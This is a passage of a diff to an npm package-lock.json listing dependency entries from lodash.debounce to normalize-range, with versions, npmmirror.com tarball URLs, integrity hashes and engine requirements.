+ "lodash-es": "*" + } + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true + }, + "node_modules/lodash.defaultsdeep": { + "version": "4.6.1", + "resolved": "https://registry.npmmirror.com/lodash.defaultsdeep/-/lodash.defaultsdeep-4.6.1.tgz", + "integrity": "sha512-3j8wdDzYuWO3lM3Reg03MuQR957t287Rpcxp1njpEa8oDrikb+FwGdW3n+FELh/A6qib6yPit0j/pv9G/yeAqA==", + "dev": true + }, + "node_modules/lodash.kebabcase": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/lodash.kebabcase/-/lodash.kebabcase-4.1.1.tgz", + "integrity": "sha512-N8XRTIMMqqDgSy4VLKPnJ/+hpGZN+PHQiJnSenYqPaVV/NCqEogTnAdZLQiGKhxX+JCs8waWq2t1XHWKOmlY8g==", + "dev": true + }, + "node_modules/lodash.mapvalues": { + "version": "4.6.0", + "resolved": "https://registry.npmmirror.com/lodash.mapvalues/-/lodash.mapvalues-4.6.0.tgz", + "integrity": "sha512-JPFqXFeZQ7BfS00H58kClY7SPVeHertPE0lNuCyZ26/XlN8TvakYD7b9bGyNmXbT/D3BbtPAAmq90gPWqLkxlQ==", + "dev": true + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "dev": true + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmmirror.com/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmmirror.com/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", + "dev": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/log-update": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/log-update/-/log-update-2.3.0.tgz", + "integrity": "sha512-vlP11XfFGyeNQlmEn9tJ66rEW1coA/79m5z6BCkudjbAGE83uhAcGYrBFwfs3AdLiLzGRusRPAbSPK9xZteCmg==", + "dev": true, + "dependencies": { + "ansi-escapes": "^3.0.0", + "cli-cursor": "^2.0.0", + "wrap-ansi": "^3.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/cli-cursor": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/cli-cursor/-/cli-cursor-2.1.0.tgz", + "integrity": "sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==", + "dev": true, + "dependencies": { + "restore-cursor": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/mimic-fn": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/mimic-fn/-/mimic-fn-1.2.0.tgz", + "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/onetime": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/onetime/-/onetime-2.0.1.tgz", + "integrity": "sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==", + "dev": true, + "dependencies": { + "mimic-fn": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/restore-cursor": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/restore-cursor/-/restore-cursor-2.0.0.tgz", + "integrity": "sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==", + "dev": true, + "dependencies": { + "onetime": "^2.0.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/wrap-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-3.0.1.tgz", + "integrity": "sha512-iXR3tDXpbnTpzjKSylUJRkLuOrEC7hwEB221cgn6wtF8wpmz28puFXAEfPT5zrjM3wahygB//VuWEr1vTkDcNQ==", + "dev": true, + "dependencies": { + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lower-case/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/magic-string": { + "version": "0.30.14", + "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.14.tgz", + "integrity": "sha512-5c99P1WKTed11ZC0HMJOj6CDIue6F8ySu+bJL+85q1zBEIY8IklrJ1eiKC2NDRh3Ct3FcvmJPyQHb9erXMTJNw==", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0" + } + }, + "node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/marked": { + "version": "4.0.12", + "resolved": "https://registry.npmmirror.com/marked/-/marked-4.0.12.tgz", + "integrity": "sha512-hgibXWrEDNBWgGiK18j/4lkS6ihTe9sxtV4Q1OQppb/0zzyPSzoFANBa5MfsG/zgsWklmNnhm0XACZOH/0HBiQ==", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 12" + } + }, + "node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmmirror.com/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "dev": true + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmmirror.com/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.5.3", + "resolved": "https://registry.npmmirror.com/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "dev": true, + "dependencies": { + "fs-monkey": "^1.0.4" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/memoize-one": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/memoize-one/-/memoize-one-6.0.0.tgz", + "integrity": "sha512-rkpe71W0N0c0Xz6QD0eJETuWAJGnJ9afsl1srmwPrI+yBCkge5EycXXbYRyvL29zZVUWQCY7InPRCv3GDXuZNw==" + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-source-map": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/merge-source-map/-/merge-source-map-1.1.0.tgz", + "integrity": "sha512-Qkcp7P2ygktpMPh2mCQZaf3jhN6D3Z/qVZHSdWvQ+2Ef5HgRAPBO57A77+ENm0CPx2+1Ce/MYKi3ymqdfuqibw==", + "dev": true, + "dependencies": { + "source-map": "^0.6.1" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.9.2", + "resolved": "https://registry.npmmirror.com/mini-css-extract-plugin/-/mini-css-extract-plugin-2.9.2.tgz", + "integrity": "sha512-GJuACcS//jtq4kCtd5ii/M0SZf7OZRH+BxdqXZHaJfb8TJiVl+NgQRPwiYt2EuqeSkNydn/7vP+bcE27C5mb9w==", + "dev": true, + "dependencies": { + "schema-utils": "^4.0.0", + "tapable": "^2.2.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/mini-css-extract-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmmirror.com/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==" + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/mlly": { + "version": "1.7.3", + "resolved": "https://registry.npmmirror.com/mlly/-/mlly-1.7.3.tgz", + "integrity": "sha512-xUsx5n/mN0uQf4V548PKQ+YShA4/IW0KI1dZhrNrPCLG+xizETbHTkOa1f8/xut9JRPp8kQuMnz0oqwkTiLo/A==", + "dev": true, + "dependencies": { + "acorn": "^8.14.0", + "pathe": "^1.1.2", + "pkg-types": "^1.2.1", + "ufo": "^1.5.4" + } + }, + "node_modules/module-alias": { + "version": "2.2.3", + "resolved": "https://registry.npmmirror.com/module-alias/-/module-alias-2.2.3.tgz", + "integrity": "sha512-23g5BFj4zdQL/b6tor7Ji+QY4pEfNH784BMslY9Qb0UnJWRAt+lQGLYmRaM0KDBwIG23ffEBELhZDP2rhi9f/Q==", + "dev": true + }, + "node_modules/mrmime": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/mrmime/-/mrmime-2.0.0.tgz", + "integrity": "sha512-eu38+hdgojoyq63s+yTpN4XMBdt5l8HhMhc4VKLO9KM5caLIBvUm4thi7fFaxyTmCKeNnXZ5pAlBwCUnhA09uw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "resolved": "https://registry.npmmirror.com/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "dev": true, + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.8", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.8.tgz", + "integrity": "sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true + }, + "node_modules/negotiator": { + "version": "0.6.4", + "resolved": "https://registry.npmmirror.com/negotiator/-/negotiator-0.6.4.tgz", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmmirror.com/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node_modules/nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", + "dev": true + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/no-case/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true + }, + "node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "dev": true, + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "dev": true, + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-releases": { + "version": "2.0.18", + "resolved": "https://registry.npmmirror.com/node-releases/-/node-releases-2.0.18.tgz", + "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==", + "dev": true + }, + "node_modules/normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/normalize-package-data/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": 